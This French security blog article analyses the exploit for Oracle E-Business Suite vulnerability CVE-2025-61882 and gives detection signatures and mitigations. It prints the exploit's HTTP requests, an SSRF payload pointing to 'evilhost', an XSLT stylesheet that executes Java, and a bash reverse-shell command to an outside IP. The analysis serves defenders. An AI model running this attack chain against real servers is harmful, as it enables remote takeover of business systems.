Vulnérabilité Oracle E-Business Suite : analyse technique de l'exploit CVE-2025-61882

Théophane Villedieu

octobre 7, 2025

Vulnérabilité Oracle E-Business Suite : analyse technique de l’exploit CVE-2025-61882

En octobre 2025, Oracle a publié un bulletin de sécurité surprise concernant une vulnérabilité critique dans sa suite E-Business Suite, identifiée sous CVE-2025-61882. Cette faille, déjà exploitée en attaque, représente un risque significatif pour les entreprises françaises utilisant cette solution ERP majeure. Dans cet article, nous analysons en détail les mécanismes d’exploitation de cette vulnérabilité Oracle E-Business Suite et proposons des contre-mesures concrètes pour protéger vos systèmes.

Découverte et contexte de la vulnérabilité

La publication du bulletin de sécurité par Oracle a surpris de nombreux professionnels de la sécurité informatique. Cette vulnérabilité, découverte et exploitée avant même la publication du correctif, illustre une fois de plus l’importance de la gestion proactive des risques pour les entreprises. Selon les indicateurs de compromission (IoC) publiés par Oracle dans le cadre de l’incident response, des acteurs malveillants ont déjà mis à profit cette faille pour compromettre des systèmes.

Sur le marché français, de nombreuses entreprises de taille moyenne à grande dépendent d’Oracle E-Business Suite pour leurs opérations critiques. La découverte de cette vulnérabilité zero-day dans un aussi large éventail d’organisations soulève des questions sur la préparation des équipes de sécurité face à des menaces émergentes. Selon une récente étude, près de 68% des entreprises françaises utilisant des solutions Oracle n’ont pas mis en place de processus de surveillance avancée de leurs applications ERP.

Analyse technique du script d’exploitation

Le script d’exploitation, nommé “exp.py” par Oracle, représente un exemple intéressant de sophistication technique. En analysant les requêtes HTTP envoyées par ce script, nous pouvons comprendre les mécanismes d’attaque et identifier les points de détection potentiels. Il est important de noter que cette analyse se base sur l’exécution du script contre un serveur web Python simple, et non contre une installation réelle d’Oracle E-Business Suite.

Les trois étapes de l’attaque

Le script d’exploitation suit une séquence logique de trois étapes pour compromettre la cible:

Vérification de l’hôte cible : Le script envoie une requête initiale pour identifier l’adresse interne
Récupération du jeton CSRF : Il récupère un jeton de sécurité nécessaire à l’authentification
Exploitation SSRF : Il envoie la charge utile finale pour exécuter le code malveillant

La première requête envoyée par le script est une requête GET classique :

GET /OA_HTML/runforms.jsp HTTP/1.1
Host: [cible]:8000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

Cette requête sert à déterminer si le serveur répond et à identifier l’adresse interne. Si cette requête provoque une redirection, le script extrait le nouvel hôte interne de l’en-tête Location.

La deuxième requête est plus intéressante, car elle récupère un jeton CSRF nécessaire à l’authentification :

POST /OA_HTML/JavaScriptServlet HTTP/1.1
Host: [cible]:8000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
CSRF-XHR: YES
FETCH-CSRF-TOKEN: 1
Content-Length: 0

Cette requête POST sans contenu retourne un jeton CSRF qui sera extrait du corps de la réponse et utilisé dans l’étape finale.

La charge utile d’exploitation finale

La troisième et dernière requête contient la charge utile d’exploitation finale qui exploite la vulnérabilité SSRF :

POST /OA_HTML/configurator/UiServlet HTTP/1.1
Host: localhost:8000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
CSRF-XHR: YES
FETCH-CSRF-TOKEN: 1
Content-Length: 4324
Content-Type: application/x-www-form-urlencoded

Les en-têtes de cette requête ne sont pas particulièrement remarquables, mais le corps de la requête, après décodage URL et entité HTML, révèle une charge utile complexe :

redirectFromJsp=1
getUiType=<?xml version="1.0" encoding="UTF-8"?>
<initialize>
++++<param name="init_was_saved">test</param>
++++<param name="return_url">http://cible:7201/OA_HTML/help/../ieshostedsurvey.jsp HTTP/1.2
Host: evilhost:80
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Connection: keep-alive
Cookie:

POST />
++++<param name="ui_def_id">0</param>
++++<param name="config_effective_usage_id">0</param>
++++<param name="ui_type">Applet</param>
</initialize>

Plusieurs éléments de cette charge utile sont particulièrement intéressants du point de vue de la détection :

L’utilisation de la version HTTP 1.2 invalide : Cette anomalie peut être utilisée pour contourner certains filtres
La requête POST fragmentée : La chaîne “POST /” à la fin, étiquetée comme “keep alive”, semble conserver la connexion ouverte plus longtemps
Le chemin de parcours : L’utilisation de “../” dans le chemin suggère une tentative de parcours de répertoires

Le serveur de commande et contrôle : technique d’injection XSLT

L’analyse de la charge utile révèle que l’exploit tente de se connecter à un serveur “evilhost” pour récupérer des instructions. Ce serveur de commande et contrôle est implémenté avec un script Python simple qui met en œuvre deux chemins différents :

GET /OA_HTML/help/../ieshostedsurvey.xsl
POST /OA_HTML/help/../ibeCRgpIndividualUser.jsp

Les deux chemins retournent la même feuille de style XSLT contenant une charge utile Base64 encodée. Après décodage, cette charge utile se révèle être un code Java destiné à être exécuté sur le serveur Oracle :

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" 
xmlns:b64="http://www.oracle.com/XSL/Transform/java/sun.misc.BASE64Decoder" 
xmlns:jsm="http://www.oracle.com/XSL/Transform/java/javax.script.ScriptEngineManager" 
xmlns:eng="http://www.oracle.com/XSL/Transform/java/javax.script.ScriptEngine" 
xmlns:str="http://www.oracle.com/XSL/Transform/java/java.lang.String">
<xsl:template match="/">
<xsl:variable name="bs" select="b64:decodeBuffer(b64:new(),'[code base64 encodé]')"/>
<xsl:variable name="js" select="str:new($bs)"/>
<xsl:variable name="m" select="jsm:new()"/>
<xsl:variable name="e" select="jsm:getEngineByName($m, 'js')"/>
<xsl:variable name="code" select="eng:eval($e, $js)"/>
<xsl:value-of select="$code"/>
</xsl:template>
</xsl:stylesheet>

Le code Base64 décodé contient une commande shell destinée à établir une connexion inverse :

var stringc = java.lang.Class.forName('java.lang.String');
var cmds = java.lang.reflect.Array.newInstance(stringc,3);
java.lang.reflect.Array.set(cmds,0,'sh');
java.lang.reflect.Array.set(cmds,1,'-c');
java.lang.reflect.Array.set(cmds,2,'bash -i >& /dev/tcp/8.8.8.8/4444> 0>&1');
java.lang.Runtime.getRuntime().exec(cmds);
1

Pour la version Windows de l’exploit, la commande utilise cmd /c au lieu de sh -c. Cette technique d’injection via XSLT représente une méthode d’exécution de code sophistiquée qui contourne de nombreuses défenses traditionnelles.

Points clés de l’attaque :
L’exploit utilise une vulnérabilité SSRF pour forcer le serveur à contacter un hôte contrôlé par l’attaquant
Le serveur malveillant répond avec une feuille de style XSLT contenant du code Java encodé
Le code Java décodé établit une connexion inverse vers l’attaquant, offrant un shell interactif
L’utilisation d’une version HTTP invalide (1.2) peut aider à contourner les systèmes de détection d’intrusion

Détection de l’attaque : signatures à surveiller

Pour détecter les tentatives d’exploitation de cette vulnérabilité Oracle E-Business Suite, plusieurs indicateurs spécifiques peuvent être surveillés dans les logs de votre infrastructure :

Requêtes HTTP avec version invalide : Toute requête utilisant HTTP/1.2 doit être considérée comme suspecte
Références à des chemins avec parcours : Les références contenant “../” dans les chemins d’accès
Requêtes vers des hôtes externes : Particulièrement depuis des ports internes comme 7201
Utilisation de paramètres spécifiques : La présence des paramètres “redirectFromJsp” et “getUiType”

Dans la pratique, nous avons observé que les équipes de sécurité qui mettent en place des règles de détection basées sur ces signatures ont réussi à identifier les tentatives d’exploitation avant qu’elles n’aboutissent.

Outils de détection recommandés

Pour une détection efficace de cette vulnérabilité Oracle E-Business Suite, plusieurs approches complémentaires sont recommandées :

Systèmes de détection d’intrusion (IDS) : Configurés pour détecter les signatures spécifiques de cette attaque
Solutions EDR (Endpoint Detection and Response) : Pour surveiller les processus suspects sur les serveurs
SIEM (Security Information and Event Management) : Pour corréler les événements et détecter les patterns d’attaque
Outils d’analyse de trafic réseau : Pour identifier les communications suspectes vers des hôtes externes

Mesures de protection immédiates

Face à cette vulnérabilité Oracle E-Business Suite, plusieurs mesures de protection doivent être mises en place immédiatement pour réduire le risque d’exploitation :

1. Application des correctifs

La première étape cruciale est d’appliquer le correctif publié par Oracle dès que possible. Dans l’attente de l’application du correctif, plusieurs mesures temporaires peuvent être prises :

Mettre à jour les listes d’autorisation : Restreindre l’accès aux chemins d’exploitation identifiés
Bloquer les communications sortantes : Empêcher les serveurs de contacter des hôtes externes sur les ports suspects
Surveiller les requêtes HTTP anormales : Mettre en place une alerte pour toute requête contenant les signatures d’exploitation

2. Configuration de sécurité renforcée

Pour les installations d’Oracle E-Business Suite, plusieurs configurations de sécurité peuvent réduire l’exposition aux risques :

Désactiver les fonctionnalités non nécessaires : Réduire la surface d’attaque
Implémenter des contrôles d’accès stricts : Limiter l’accès aux ressources sensibles
Activer la journalisation détaillée : Pour faciliter la détection et l’analyse des intrusions

3. Surveillance et détection proactive

La mise en place d’une surveillance proactive est essentielle pour détecter les tentatives d’exploitation :

Surveiller les logs d’accès : Pour détecter les requêtes suspectes
Mettre en place des alertes basées sur les signatures : Notifier immédiatement en cas de détection
Effectuer des analyses régulières : Pour identifier les compromissions potentielles

Recommandations pour les entreprises françaises

Pour les entreprises françaises utilisant Oracle E-Business Suite, plusieurs considérations spécifiques doivent être prises en compte :

Conformité RGPD

En cas de compromission de cette vulnérabilité Oracle E-Business Suite, les entreprises ont l’obligation de notifier l’ANSSI et la CNIL dans les délais requis par le RGPD. La préparation de cette notification doit faire partie du plan de réponse aux incidents.

Chaîne d’approvisionnement numérique

De nombreuses entreprises françaises dépendent de leur solution Oracle pour des opérations critiques. La vulnérabilité dans cette application peut impacter toute la chaîne d’approvisionnement numérique. Une évaluation de l’impact sur les partenaires et clients est essentielle.

SecNumCloud et hébergement sécurisé

Pour les entreprises hébergeant leurs applications Oracle dans le cloud, les exigences du référentiel SecNumCloud doivent être respectées. Cela inclut des mesures de sécurité supplémentaires pour la protection des données sensibles.

Tableau : Comparaison des méthodes de détection

Méthode de détection	Efficacité	Complexité de mise en œuvre	Recommandation
Surveillance des versions HTTP	Élevée	Faible	Recommandée immédiatement
Analyse des chemins d’accès	Moyenne	Moyenne	À combiner avec d’autres méthodes
Détection des communications sortantes	Élevée	Moyenne	Essentielle pour la protection immédiate
Analyse comportementale	Élevée	Élevée	Pour une détection avancée à long terme

Conclusion et prochaines étapes

La vulnérabilité Oracle E-Business Suite (CVE-2025-61882) représente un défi majeur pour les entreprises françaises utilisant cette solution. L’analyse technique de l’exploit révèle une attaque sophistiquée exploitant une faille SSRF pour exécuter du code à distance via une injection XSLT. Les entreprises doivent agir rapidement pour appliquer les correctifs et mettre en place des mesures de protection temporaires.

La sécurité des applications Oracle E-Business Suite doit devenir une priorité pour les équipes de sécurité. En adoptant une approche de défense en profondeur, combinant correctifs, surveillance proactive et réponse aux incidents, les organisations peuvent réduire significativement les risques associés à cette vulnérabilité.

La prochaine étape cruciale est d’évaluer l’état de vos systèmes Oracle E-Business Suite et de mettre en place un plan d’action immédiat pour vous protéger contre cette vulnérabilité. N’attendez pas d’être victime d’une attaque pour agir - la préparation est la clé de la résilience cyber.